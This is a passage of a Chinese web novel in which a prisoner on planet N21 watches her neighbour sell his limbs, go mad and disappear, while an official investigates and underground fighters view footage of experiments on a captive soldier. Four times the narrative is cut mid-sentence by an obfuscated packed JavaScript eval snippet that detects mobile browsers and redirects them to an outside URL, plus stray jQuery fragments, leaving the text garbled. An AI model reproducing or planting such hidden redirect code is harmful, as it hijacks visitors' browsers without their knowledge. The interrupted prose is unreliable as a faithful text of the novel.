路麦像只猫一样眯起眼睛。 有这种贴心服务的话,吃不吃得到巧克力似乎也无所谓了呢。 15. 病 五点一到,闹铃准时响起。路麦睡得不沉,很快就醒转过来。 阳光美男的按摩效果惊人,明明四点半时还觉得昏沉的脑子,现在已然清明无比。 起床,冲澡,系数,老实地领取一份拧螺丝的工作,然后喝早饭,学习。 六点出门,OA7X还是没有动静,OA7V那头则是慢了一拍。 路麦想和胖子聊聊智能放牧的事,她怕全部堆在心里会把自己憋死,但是看到从OA7V的门后露出的那张憔悴脸庞,她再不通情达理也知道此时应该收敛一下分享欲。“你看上去精神不好,遇上了什么事?修理师的工作很困难?” “嗯……”面对邻居的关切询问,胖子显得异常沉默,总是半天才挤出一个音节。 路麦怀疑他不幸罹患了什么疾病。 N21才不是什么风景秀美的偏远星球,一个聚集了大量罪犯的地方能有什么优越的生活环境?更何况这里的居民还背负着绝对不能算作轻松的劳役。姑且不提那些半机械人,身心的疲惫让疾病对这里的服刑者来说成了一件相当频繁的事情。 治疗是不可能的。大病可以通过支付积分和延长刑期的方式换取不怎么可靠的医治机会,小病就只能靠熬着了。因此路麦十分感谢自己有一具看似病弱实则健康得要命的身体。 “你,你还好吧?”路麦问。 “……我犯错了。”OA7V的语气沉重得让人窒息,“我在修理一台机甲的时候出现了重大失误,被罚了三十万年刑期。” 路麦露出错愕的表情:“三十万年?” 在普通工厂劳动的时候,一次工作失误不过增加一两百年的刑期,五百年的判罚已经属于严重失误。胖子竟然一次被增加了三十万年刑期。 恐怕是在修理“大活”的时候失手了。路麦难以想象那是何种程度的失误,但现在显然不是刨根问底的场合。 “三十万年听起来很多,但如果能在嘉年华上拿个奖项,再努力多考几张执照,一定很快就能销掉的。”事已至此,她只能说些激励的话。 胖子挤出一个虚弱的笑容,勉强地点了点头。 路麦继续说:“我有空的时候会多陪陪琪琪,这样可以帮你提高减刑系数。”这是她能想到对胖子最有帮助的事了。 “谢谢。”胖子心不在焉地说道。 “别忘了和阿加莎的十年之约啊!”路麦用力拍了拍他的肩膀。 胖子的脸上这才露出了几分活人的表情。 这天下班的时候,路麦没在路上碰到胖子,在回宿舍之前,她从OA7V的屋顶上把琪琪抱了下来,捧在怀里逗了一会儿,路西法跳到它的羊角上表示抗议,路麦问:“你不会是吃醋了吧?” 蜘蛛僵了一下,然后生气地背过身去,用陀螺状的屁股对着饲主。 路麦说:“就算这样,你还是看得见我的对吧?” 在此期间琪琪只是安静地跪在她的怀里,没有半点不愉快的样子。 这时候,耳畔响起电子锁的开锁音。是隔壁的正义之士回来了。路麦转过头去同她打了个招呼,她用脚别着门,探头朝这里看了一眼:“你的宠物?” 路麦说:“我邻居的。” 正义之士笑笑:“挺可爱的,就是有点脏。” 路麦这才发现琪琪的毛发比之前积了更多灰尘,它明明是一只白色小山羊,却隐约有种灰扑扑的感觉,而且它身上的温度似乎也比过去低了一点。 “你的主人最近是不是都没有和你玩?”路麦摸着它的后背问道。 琪琪不言不语,只是抖了一下耳朵。 “他遇上了些烦心事。等过了这一阵,他又会想起你来的。”路麦这样说着,却忘了一个事实,电子宠物是服刑者们用来抵御精神压力的工具,而不是反过来。 大概正是出于这种原因,正义之士才会流露出那种不置可否的态度。“它主人怎么了吗?”她问。 路麦答道:“因为工作失误,被罚了三十万年刑期,心情有点低落。” 正义之士的眼睛微微张大了一些:“三十万年?他在工作的时候致人伤残了?” 路麦说:“好像是维修高级机甲的时候出现了一些误操作,导致引擎二次受损。”她对这方面的工作不太了解,基本上是复述早上从胖子口中了解到的情况。 正义之士皱眉:“这样就被罚了三十万年?” 路麦说:“很不合理吧?我也觉得。这本来就不是什么以人为本的地方。就算是管理员滥用刑罚,我们这些人也没处说理嘛。” 正义之士的表情有些僵硬。 路麦把琪琪放回屋顶上,取了早上没收的快递,然后回了宿舍。她还有自己的事,比如安装饲育箱,比如备考虫族学者执照。 她已经完成了虫族教材的第一遍通读。此书的编者是一个善良的好人,能将听起来生硬艰涩的知识讲解得通俗易懂,让考生信心倍增。 不过开始第二遍细度的时候,她就发现此书的易读性不仅源于编者的良心。 义务教育和高等教育占据了她至今为止过半的人生,她可以肯定自己不具备生物学方面的天赋,但在面对眼前那些从未接触过的知识点时,她发现自己能够迅速理解并融会贯通。 二十多年的岁月早就让她对自己智商平平一事有着深刻的认识。虫族相关的知识比起有据可循、有经验可依的地球生物学只会更难。但她学得非常轻松。 直到这时她才模糊地记起唐古拉斯和他的手下谈到过,“这”是一具拥有超凡智力的实验体。她没有继承这具身体的痛苦回忆,却似乎占到了这颗优秀大脑的便宜。 这么说来,仿生人鉴定师执照也并非遥不可及。 接下来的几天,路麦一直没见到胖子,只有时不时从隔壁传来的动静能帮她确认OA7V还有人住的事实。 早上能够打招呼的对象只有琪琪,下班之后和这只小山羊玩耍片刻也已成了例行项目,而路西法则不得不忍受饲主的三心二意。 再次见到胖子已经是一周后的事了。 那天路麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15544261|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚走到宿舍门口,打算接琪琪下来,一抬头却被吓了一跳。 灰白的山羊耸立在隔壁的房顶,背对着夕阳,被渲染成了一道巨大的阴影。那道巨大的阴影中,闪现着一对邪恶的眼睛。 那眼神像极了差点把她杀掉的半机械人。 这时候,身后响起沉重而迟缓的脚步声。 路麦仓皇地从琪琪身上收回视线,下一秒,双眼就遭受了另一种恐怖冲击。 胖子的左肩上停着一只多余的手。 不对,那不是手,那是如同佛手一般的肉芽,正随着宿主的动作而微微晃动,看起就像在疯狂攫取着那具身体的养分。 “你……”路麦按捺住喷涌而上的反胃感,发出了一个惊愕的声音。 胖子偏了偏头,扬起一张浮肿苍白的脸,那脸上挂着一个虚无客气的笑容。 “啊,你想说这个?”他指了指自己的左肩,“虽然难看了点,但也就是难看了点。一年能换三万年的减刑呢。你想说我做几天工就能攒出三万年?我是想能早一天就早一天。而且……” 他的声音低了下去:“因为琪琪生病了,我的减刑系数发生了大幅回退,刑期也进一步延长了。” “琪琪病了?”路麦继续惊讶。 不会生病本来就是电子兽的一个卖点,这对于那些不想花多余时间处理额外情况,又想从宠物身上获得慰藉的服刑者来说至关重要。 胖子简单地解释了一下:“计算机也会感染病毒,这你是知道的吧?” 路麦点点头。不过说实话,电脑病毒对她来说已经是一个颇为遥远的存在了。 新世纪初期,木马、熊猫烧香之类的词汇倒是成为过一时的话题,杀毒软件几乎是每台电脑的必备品,但不知从什么时候开始,她就再没听说过有什么到处肆虐的电脑病毒,也很久没有进行过病毒查杀之类的操作。 这个世界的信息技术看起来更加发达,难道还是会为计算机病毒所困?还是说,这里的计算机病毒,与她知道的那种病毒不可同日而语?随着计算机技术更新迭代,计算机病毒也以新的形象卷土重来? 路麦问:“怎么染上病毒的?可以治好吗?” 在她的印象里,电脑感染病毒,起因大多是从网上下载了奇怪的东西。电子兽的系统应该是封闭的,为什么会被来自外部的病毒入侵? 胖子说:“我找过宠物商店的售后,据说是因为我最近没有好好照顾琪琪,再加上我自身的情绪低落,影响到它的数据接收和处理……” 电子兽的性能居然会被饲主的情绪影响,这听起来简直像是天方夜谭。 “能维修吗?”路麦又抬头看了一眼房顶。 恒星的位置已经发生了变化,山羊不再是逆光中的一团黑影,而已然显露出它原本的样貌——还是那只灰扑扑的小山羊,长着食草动物奇特的横瞳眼睛。她不由暗自松了一口气。 “情绪问题引起的产品故障只能等它自我修复。商城售后让我注意最近的情绪调节。这太难了。”胖子说。 16. 愤怒的羊 这话说的不错,胖子看起来根本没有余力去解决自己的情绪问题。 刑期延长带给他的打击似乎比想象中还要大。因为有着尽早离开这里的理由。在这颗星球以外的某个地方,有人正在等待和他履行约定。 相比之下,孑然一身的路麦就没有那么多牵绊了。她固然想尽早获得自由,但因为从一开始就做好了要在这里呆上二十多年的打算,所以在发现可以通过各式努力将这一时长大幅缩短后,她在大多数时间里都是充满希望和干劲的。 在她看来,即使胖子眼下遇上了麻烦,但依旧可以在两三年之内清完刑期,他的日子应该充满了盼头才对。 但她没能将这话说出口,因为每个人都有各自的情况。胖子正在为此感到痛苦不堪,对他来说,最糟糕的安慰一定就是“我认为这没什么”。 她唯一后悔的就是让胖子产生了对回归社会的期望。如果他一直像最初那样,认为自己的下半辈子都会在N21度过,那这被强行加上的三十万年对他来说也就不会有太多感觉了。 她想了半天,说:“琪琪会好起来的,你也是。” 胖子叹了口气:“本来想在保持身体没有任何损伤的情况下圆满出狱的,看来这个目标已经无法达成了。” 路麦拍了拍他没有种植肉芽的右肩:“等他们把你肩上多出来的玩意儿收走,你还是原来那个完整的你。” 胖子终于露出了一丝发自真心的微笑。 路麦自掏腰包买了护理套件,准备帮琪琪打理了一下愈发黯淡干枯的毛发。多出来的部分她用在了自己身上,并使她那头如打结毛线般干枯凌乱的长发重获新生——这让她觉得这套产品物超所值。 路西法对饲主的厚此薄彼感到不满——这也是路麦的擅自猜测——它总是在路麦抚摸小山羊的时候,趾高气昂地站在羊角上,似乎随时打算阻止这一人一羊之间的逾矩行为。 琪琪又变成了一只干净漂亮的小羊,毛发蓬松,散发着淡淡的植物清香,还因此获得了不少来自附近居民的青眼。 住在这一片的服刑者入狱时间大多都还不长,很多人是在博览会之后才趁着促销活动购买了一只价廉物美的电子兽,因此品种重合性较高,大多是各种各样的猫类,也有不少购入了能够在屋内饲养的鼠类。 一只美丽的小山羊,对他们来说还是充满新鲜感的事物。而他们或好奇或艳羡的打量都能帮助胖子再次提升减刑系数。 就在路麦参加虫族学者考核、并顺利取得执照的那天,琪琪出现了异样。 这只电子山羊表现出前所未有的躁动。 当路麦看到它的时候,它已擅自跳下屋顶,在OA7片区胡乱闲逛,并随机对路人做出不友好的举动——比如用自己那对并不成熟的羊角去顶他们。 路麦立刻把它抓捕归案。她有些担心是否因为自己今日的晚归导致琪琪心绪不宁,但很快就意识到身为电子兽的它不会产生类似分离焦虑症的情感。 一定是胖子的情绪出现了严重问题! 当她联想到这一点的时候,她的邻居刚好迈着虚浮的脚步出现在片区的尽头。 路麦抱住琪琪,呆愣愣地看他慢慢走近,总觉得他今天的样子格外不对劲。 两人之间的距离还剩下约摸五六米的时候,琪琪突然在路麦怀中剧烈挣扎起来,它张开嘴巴,露出一排和人类相似的下齿,发紫的舌头像一团肉球般含在口中。 羊张嘴的时候就是那个样子的,可路麦还是被吓了一跳,她从没见过琪琪像这样张嘴过。 琪琪抻开蹄子,跳到地上,像被红布挑衅了的公牛一样朝着饲主狂奔过去,并用自己弱小的双角一举撕开了他的裤腿。 路麦顿时睁大眼睛,不敢相信自己看到的画面。 和脸部完全不相符的肤色与肤质就这么暴露在外,过分光洁和惨白的腿,透过被羊角撕开的破洞,无辜而凶狠地向外张望。 对已经为无数条机械肢体拧过螺丝的路麦来说,活着的腿和机械的腿有着天壤之别,她一眼就能分辨出来。 胖子的裤管里是一条仿生材质的机械腿。 “你怎么……”路麦欲言又止。照理说她应该已经对机械肢体见怪不怪了,可此时还是感到一阵惊悚。 一个不久前还说着要全须全尾离开这里的人,不仅主动申请成为肉盆志愿者,甚至卖掉了自己的一条腿…… 胖子似乎明白她想说什么,挤出一个苦笑,用强装出来的并不在乎的口吻说道:“两条腿,十五万年,再努力一把,应该就能按时出狱了。” 不是一条腿。他甚至卖掉了自己的一双腿! 胖子摸了摸表现出强烈不满的琪琪:“你不喜欢我的新腿?还是说不喜欢我了?这样也好,我们终究是要分开的。” 琪琪原本在啃他的裤腿,听他这么说,突然停下了动作。 胖子又抬头看向路麦:“这段时间谢谢你照顾它。减刑系数又恢复了,这全都是你的功劳。” 路麦赶紧摇头:“这没什么。只是小事。我不太会安慰人,但是又想帮你做些什么。” 胖子沉默了一会儿,他注意到路麦的左腕带着一个纸质的手环——他认得那个东西,考试中心发给考生的标识。 “你去考试了?虫族学者?合格了?” “嗯。” “恭喜。你知道考试的合格率。这很不容易。更何况你还是一次性合格。” 路麦感到有些抱歉。虫族学执照的合格率只有3.4%,一次合格绝对是值得吹嘘的事。可她不想在别人失意的时候表现自己的得意。而胖子接下来的话却让她大吃一惊。 “如果日后你打算考维修师的执照,那我必须提前叮嘱你,在出狱之后,维修资格能帮你过上不错的生活,但是……在这里,在N21,你最好不要接受相关的工作。” “为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569618|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么?!” “三十万年的惩罚,你还不明白吗?”胖子那张浮肿的脸变得有些扭曲起来,“……那绝对不是严重到要三条完整的手臂才能弥补的错误。” “我把你当做朋友。这句忠告是我唯一能为朋友做的了。”胖子说。随后,他就把琪琪放回屋顶,然后将自己关进宿舍。 路麦也回了自己的房间。邻居的话始终让她感到惴惴不安。 通过饲养宠物提高减刑系数被证明为缩短刑期的有效办法,但通过参加高回报工作却被证明为是有风险的。虽说高风险和高回报总是一对相伴出现的词语,但放在这个场合真的合理吗? 这明明不是用高风险换取的高回报,而是用专业知识和职业技能换取的回报。 胖子近期的变化让路麦感到,这所谓的风险并不仅仅是随便就被判罚一个巨额延期。 胖子为什么会失误?是不是因为工作内容超出了预期?他为什么宁可选择贩卖肢体,也要尽快离开这个地方? 路麦以为自己已经大概掌握了N21的生存法则,只要规规矩矩地劳动、勤学不辍地提升自己,她一定可以在青春被消磨殆尽之前离开这里,但直到见到装上机械腿的邻居,她才突然意识到,自己还不了解N21以外的世界,就连这个N21,她也只看见了一层表皮。 路西法优哉游哉地在桌面上散步,然后熟练地向饲主索要食物,并在积极进食后很快就进入了安详的休憩状态,其饲主甚至能从它舒展的姿态中感受到一丝该死的慵懒。 当天半夜,路麦被从隔壁传来的剧烈的震荡声吵醒了。那动静就像是有一群人在那间不足七平方米的小屋子里聚众斗殴。 她不敢开灯,更不敢出门查看情况,只好将耳朵贴在墙上,聆听隔壁的动静。 只有打斗的声音,没有说话的声音。 过了一会儿,她意识到那不是打斗,而是敲打墙壁、敲碎镜面、用金属砸击地面发出的声音。 接着,有至少两个人打开隔壁的房门,制服了正在发狂的服刑犯并将他弄晕,带走。 最后是关门的声音。 尽管知道那些人不可能听见,但路麦还是屏息凝神,大气也不敢出,直到隔壁不再传出任何动静。 胖子被带走了。他被带去了哪里?他将会面对何种惩罚?他还会回来吗?他会活着回来,再次和她分享宠物饲养和加速减刑的心得吗? 路麦不安地想着。右手无名指的指节忽地被什么东西触碰了一下,那附近的皮肤一下变得紧张起来。什么东西在黑暗中抱住了她的手指。她被吓了一跳,但随即反应过来那是路西法。 她将手指抬到眼前。 即使在漆黑一片的环境中,还是看到了从蜘蛛那双又黑又圆的主眼中透出的一线光芒。 它在看着她——或许是她自作多情。 但是无论如何,她真庆幸此刻还有一个活物能陪在自己身旁。 17. 消逝 这个夜晚显得格外漫长,封死的毛玻璃窗户外面好不容易才透进一丝光亮。 路麦用天亮前的最后一点时间勉强补充了一会儿睡眠,然后是统一的起床提示,然后是选择每日工作,然后是早餐,再然后是等待房门解锁。 路麦第一次如此强烈地意识到,这不仅是一颗偏远的星球,还是一座巨大的监狱,更是一个未知的世界。她是服刑者,她是犯人,一个没有合法权利的非公民,一个对这个世界真正的规则尚且一无所知的外人。如果她行事不够小心,没有任何东西能够在这里保护她,即使是法律。 六点整,她走出房间,回头看了一眼隔壁的房门。 那扇门看起来安安静静的,没有任何异常。 琪琪依然沉默地站在屋顶上。它迎着朝阳,洁白的绒毛被明媚的晨光染上了一丝暖色,让它看起来容光焕发。但路麦却从它那奇特的眼睛里看出了浓浓的悲伤。 它左右摇摆着脖子,以一种诡异的姿势同路麦打了招呼。它的脑袋每次从右边甩到左边的时候,上嘴唇皮总会抽搐一下,暴露出那和人类相似的粉色牙龈和白色牙齿。 路麦相信琪琪不是故意要露出这种丑态——具有感情功能的宠物普遍会对饲主的离去产生负面情绪,只是电子兽难道也具备类似的机制吗? 如果不是要赶着上班,她一定会把那只小山羊抱下来好好安抚一番。 因为胖子的离开所引起的不安以及睡眠不足,路麦在工作中错误频出,如果不是每次都有路西法出面提醒,她可能要多花三五天才能补回因为惩罚而延长的刑期。 在她第十三次失误的时候,蜘蛛爬上了她的左手手背,用不知是螯肢还是牙齿,用力地扎了她一下。 中指不受控制地弹了起来,继而感受到自肢端缓缓蔓延的刺痛。 她惊恐地看向自己的宠物,而对方不知悔改地站在犯罪现场,并用有力的前肢用力敲击着她的手背,就像一位愤怒地敲击黑板的教师。 路麦丧气了三秒钟,随后强打起精神,改正了刚才的操作失误,并悻悻地嘟囔了一句谢谢。 蜘蛛僵在了她的手背上,如同听到了一个难以置信的鬼故事一般,直到路麦又操作了两个零件,它才回过神来,慢慢爬向饲主的腕带,并以此为跳板,倏地跳上了她的肩膀,回到了它在监工时惯常停留的位置。 有惊无险地结束了一天的劳动,回到住处门口,琪琪仍如早晨那样失魂落魄地站在屋顶上,机械地摆动着脖子。 路麦垫着脚,叩了叩它的蹄子,然后张开手臂。 琪琪跳了下来,不安分地伏在路麦的臂弯中。 路麦像抱婴儿似的,用手臂环住它,轻轻摇动身体,一边用右手拍打着它的背部。 突然,这只小山羊警觉地抬起头,以正常生物难以做到的角度扭动着耳朵。 “怎么了?”路麦问道。 话音刚落,琪琪就别过脑袋,一口咬住了她的手臂。 那事情发生得极其突然,而且很难说有什么征兆。 电子山羊爆发出让人瞠目结舌的咬合力,如果再多给它一秒钟,它没准能从路麦手上撕下一块肉来。 路麦叫了起来。 一道黑影从她的头顶飞跃而下,精准地落在山羊的左眼球上,并向那个脆弱的器官注射了毒素。 神经毒素竟对这台仿生的电子产品起了作用。不出几秒,山羊的动作就表现出麻痹的特点。它松了口,在受害者的手臂上留下了一排几乎深可见骨的牙印。好在长袖的囚服起到了微乎其微的防御效果,否则伤口一定比现在更严重。 路麦在山羊松口的瞬间就将它甩到了地上。它踉跄了一下,很快就用四蹄站稳,并且发出完全不像是山羊叫的声音。 那像是高密度的岩浆碾压地面时发出的既巨大又喑哑的可怕声音,让人不禁怀疑有一头怪物马上就要从山羊的体内破壳而出。 徘徊在OA7片区的居民们没有理由不注意到路麦的那声尖叫和山羊发出的诡异声音。 大多数人选择不要多管闲事,少数人投来关切的眼神,其中最热心的群众通过终端为她联系了宠物管理员。 伍拾和陆拾很快就出现在街区尽头。 两个细狗般的男人迈开长腿,三两步就走到受害者面前,并当着她的面,在山羊的脑袋上扎了一针,向里面注入了一种透亮的浅绿色液体。 山羊的四条腿同时震颤了一下,接着,它的整个躯体就倒向了地面。 伍拾抓着它的一只角,将它提了起来,并在半空甩了几下。 “你被它咬了?”陆拾注意到了路麦那条被染红的袖子。 路麦以为这暗示她可以得到简单的外伤处理机会,于是飞快地点了点头。 陆拾说:“带走,销毁。”他所指的对象当然是电子山羊琪琪。 “请问……住在OA7V的服刑犯去了哪里?”路麦没有阻止他们对琪琪降下的决定,而是心惊肉跳地询问邻居的状况。 陆拾审慎的眼光扫了过来。 “我的意思是……这只电子山羊是他的宠物,你们在带走它之前,要不要先通知一下饲主?”路麦有些磕绊地补充了一句。 “伤人的宠物一经发现必须被处死,这是规定。”陆拾说。 “物权法在这里并不适用。”伍拾笑眯眯地说道,“还有,OA7V出现了严重的精神问题,N21的医疗团队会为他进行脑部手术,之后他会被转移到特殊服役区,管理局会照顾好他的,你不用担心。” 他看穿了路麦真正想知道的东西。 路麦发现这位会开玩笑的管理员其实比那位不苟言笑的更恐怖。 两位管理员带着昏迷不醒的电子兽离开了。路麦心有余悸地站在宿舍门口吹风。 接着正义之士回来了。 “你在干什么?”她问。“看夕阳。”路麦说。“好看吗?”正义之士问。“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569619|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' OA7V被带走了。”路麦说。 她没看到正义之士的脸色一下子变了。 正义之士说:“我怎么不知道?” 路麦说:“是昨天半夜的事。刚才管理局来人把他的宠物也带走了。” * 卫琅搬进OA7X的目的是为了观察服刑者OA7W的行动。她在这里微服私访了半个月,并未发现此人有什么可疑之处。 硬要说出点什么的话,就是她的身体素质比看上去的要好太多,而且智力也显著高于平均水平。 对OA7W的关注让她不自觉地忽视了一些奇怪的现象,不过这一点又随着OA7V的“消逝”集中爆发了出来。 没错,消逝。 卫琅暂时想不到更准确的词语。 虽然根据OA7W的转述,OA7V在深夜被带走,是出于精神治疗的目的,但完全是诓骗不知情者的说法。身为N21最大领导的她,清楚地知道这里根本没有专门收容精神失常者并对其加以治疗的设施。 OA7V被带走了,被带去了一个不存在的地方。从结果而言,OA7V处于下落不明的状态。而她竟查不到昨夜出动的两名管理员到底是谁。 不过这也不全是坏事,至少她知道了自己的记忆没有出错,也摸到了记忆中那个数据出现无法解释的变动的一个原因。 管理局中的确存在卧底,不止一人,且职位有高有低,否则他们没法神不知鬼不觉地完成这一流程。 是的,神不知鬼不觉。这套让人“消逝”的流程已经被重复了很多次,现在应该已经接近无懈可击的状态,若非今日她偶然撞破,否则一直呆在办公大楼里,她这辈子都不可能知道那些可疑数据到底有没有被篡改,又是如何被篡改的。 目前她还有一个比较关心的问题,那就是OA7W到底有没有问题。 根据她口头询问到的情况,以及自己搜罗的资料,可以整理出“黑幕”悄然带走OA7V的整个计划流程,而这个流程的起点,就在于那个没有正当理由被扣上的三十万年刑期。 如果OA7W是“黑幕”的一环,必然不可能主动披露劳动单位中存在动用私刑的现象。因为在那之后,卫琅就亲自出击,抽查并整顿了几个工场,这杀鸡儆猴的举措多少能让这种乱象消停一点。 而且,OA7W方才那种因为OA7V的消逝而表现出的失魂落魄也不像是假的。 但也必须考虑到她已经知道了自己的真实身份,并故意在自己面前进行伪装的可能性。 卫琅之所以会产生这种想法,除了其自身的思考方式使然外,还因为她从OA7W的脸上看到了愧疚。 至于OA7W为什么要对OA7V的消逝感到愧疚?一个合理的解释就是她确实参与了对OA7V的迫害,事后表现出来的伤心难过全都是鳄鱼的眼泪。 总之,对OA7W的观察还要继续,另外还要着手调查失踪人员的去向。 18. 录像 * 又是那片沙滩,又是那个美男。 路麦已经接受了阳光美男可能是原主意识的可能性。既然对方没有表现出恶意,那和平共处也是一种办法嘛。更何况对方温柔贤惠,情绪价值高,让人根本没理由拒绝。 哪怕刚刚经历了不好的事,来到这里,沐浴着马赛克阳光,看着那张秀色可餐赏心悦目的脸,心情多少也会好转一点。 路麦一步一个脚印地走到阳光美男身边,毫无形象地在沙地上呈大字型躺下,似乎这样能够增加表面积,从而获取更多光照。 她真想和美男说说话。但每次开口都无法发出声音。也不知道美男到底能不能看懂唇语……她又想起了上次的那个吻,心头一热,一个鲤鱼打挺坐了起来,差点撞到美男的下巴。 美男像受惊的小动物似的看着她。 她一个侧身,跨坐到美男身上,将他摁倒在地,然后捧着他的脸,恶狠狠地亲了上去。 她没有闭眼,因此可以看到美男骤然睁大的眼睛和缩成针尖的瞳孔,心情突然舒畅起来。 也不知道是因为复仇成功还是因为占到便宜。 亲了好一会儿才松嘴,退潮似的从美男身上退了下去。美男按着剧烈起伏的胸口,大口大口地呼吸,好像差点就要喘不过气似的。 路麦继续大字型躺倒在沙滩上。好像再没什么让人发愁的事了。 不过等一下,那两个人是怎么回事? 这地方居然还会有别人? 路麦侧过头,看到打扮得像是警卫的两个人从地平线后面出现,健步如飞地向自己所在的位置靠近,脑子里便冒出一个词来:扫黄打非。 都说食色性也,暴食和纵欲都是解压方式嘛。可是她和阳光美男那种程度的亲密行为最多只能说得上打情骂俏,根本连限制级的边都算不上。 更重要的是,这里是她的梦境啊。 难道成年人在梦里搞点颜色都要被出警?哪怕她还没搞上呢。 路麦腹肌一卷,坐起身,就一眨眼的功夫,两个警卫已经瞬移到她跟前,一左一右架住她的胳膊,把她拖了起来。 接着,眼前一黑。她的脑袋被一种不透光的东西套住了。 周身的感官迅速地变化着,从皮肤感受到的温度推测,她已经离开了阳光明媚的沙滩,被逮到一个阴森幽冷、暗无天日的地方。 双腕和脚踝被扣上冰冷的束缚具,左臂好像被一种锋利的刃具给切开了,但是没有痛觉,直到那种切割感在手肘处急速转向,她才意识到那不是什么刃具,而是滑过她皮肤的水滴。 还来不及松上一口气,遮断视野的头套被摘去了,头顶上的惨白强光刺得人睁不开眼睛,等瞳孔逐渐适应这里的光线,看到的第一样事物便是从强光之中显现的手术刀,和握着手术刀的手。 这回是要来真的了。 她顾不得白光造成的刺激,眼睛瞪得几乎要让眼角开裂。 手术刀没入她的身体,血珠在一两秒后从刀口经过的地方冒出,汇成一道红色蠕虫般的长线。 无法用语言描述的疼痛从神经末梢飞速传递到大脑。 双眼在熹微的晨光中猛然睁开。 梦境的幻痛似乎还残留在皮肤表面。 胸口剧烈地起伏着。 路麦挣扎着从床上坐起,呆愣地看着自己的双手,然后用这双手抚摸脸颊、脖子、胸腹……指尖触碰到无数个凹凸不平的疤痕节点,每一个都让她后怕不已。 为什么会做那样的梦? 难道这具身体想让她这位新主人继承过往的回忆吗? 说对“过去”全无好奇是不可能的,但她才不想用这种方式“记起”一切。 单色的被套上出现了一粒指甲盖大小的黑点。路西法正趴在拱起的膝盖上静静地看着她。 路麦用手指把它送回放在床头柜上的饲育箱里,看了一眼时间——还早——于是将被子拉过肩膀,又睡了下去。 * 偏远行星崔坦。 一处看似已经荒废的堡垒建筑耸立在成片的断壁残垣之中,显得格外醒目。 在经过仿生人大军的无差别攻击之后,有能力离开这里的人都已经逃往其他星球,剩下的大多是身无长物的贫民,以及,一些地下组织的成员。 仿生人没有执着于摧毁这颗资源匮乏、人口稀少的行星,在那场密集轰炸之后,这里反而成了一个相对安全的地方。 地下组织在原本的建筑残骸上建造了这座堡垒,当做他们新的活动基地。 司令部位于地下一层。光线昏暗,空气流通性差。电子屏幕闪烁着略显刺眼的蓝光。 坐在控制台后的中年女性正在观看屏幕上正在播放的录像。 画面中,身穿病号服的青年被栓在墙上,黑色的绑带剥夺了他的视力,锁链束缚着他的手腕和脖颈。他有着军队出身者特有的匀称体型,和从不避讳阳光的健康肤色。 他的力量异乎寻常,发狂般地挣扎时,几乎要把钉在墙壁上的固定器给扯下来。锁链敲击着墙面和地面,发出尖锐的声音。 画面外传来轻微的人声:“他像条疯狗,根本控制不了。镇静剂的效果有限,过量注射可能会影响后续实验的效果。” “耗着。总会累的。” 切换到下一段录像。 仍是那个穿病号服的青年,模样比上一个视频瘦了一点,在空无一物的房间里来回走动,偶尔会停下来,盯着地面或是天花板看一会儿,然后继续走动。 高清的画质传递出一个细节,他的两侧太阳穴附近有进行过手术的缝合痕迹。 继续切换到下一段录像。 青年变得更瘦了,肤色也淡了起来。 他坐在画面正中的椅子上,脖子、躯干、双手、双腿都绑着束缚带——不过这些控制措施似乎有些多余,因为青年几乎一动不动。 画外又有人声:“大脑活跃度和攻击倾向没有下降。他只是在伪装。别被他骗了。” “体重下降了百分之二十,但身体机能几乎没有受到影响。真不可思议。” “他还是很危险。” 接着是下一段录像。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569620|171141||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有病号服。青年还是那个青年,但与之前判若两人。 苍白,瘦削,赤着身子,没有性别特征的诡异躯体被完全暴露在刺眼的灯光下。 如果没有中间的两段录像作为过渡,恐怕很难将他与第一段视频中的那位年轻军人联系到一起。 他的眼睛依然被蒙着。 “雄性激素水平下降,攻击倾向依然没有下降,身体机能几乎没有受到影响。” “在营养摄入不足的情况下,伤口依然表现出非凡的愈合能力。” “他不会进行光合作用吧?我只是在开玩笑,他的细胞里可没有叶绿体。” “目前已尝试32种病原体,均未在实验体身上产生反应。体温确实是一个因素,但他的免疫力绝对异乎寻常。” “如果能弄清他身体的秘密,人类这一物种将获得一次前所未有的进化。” 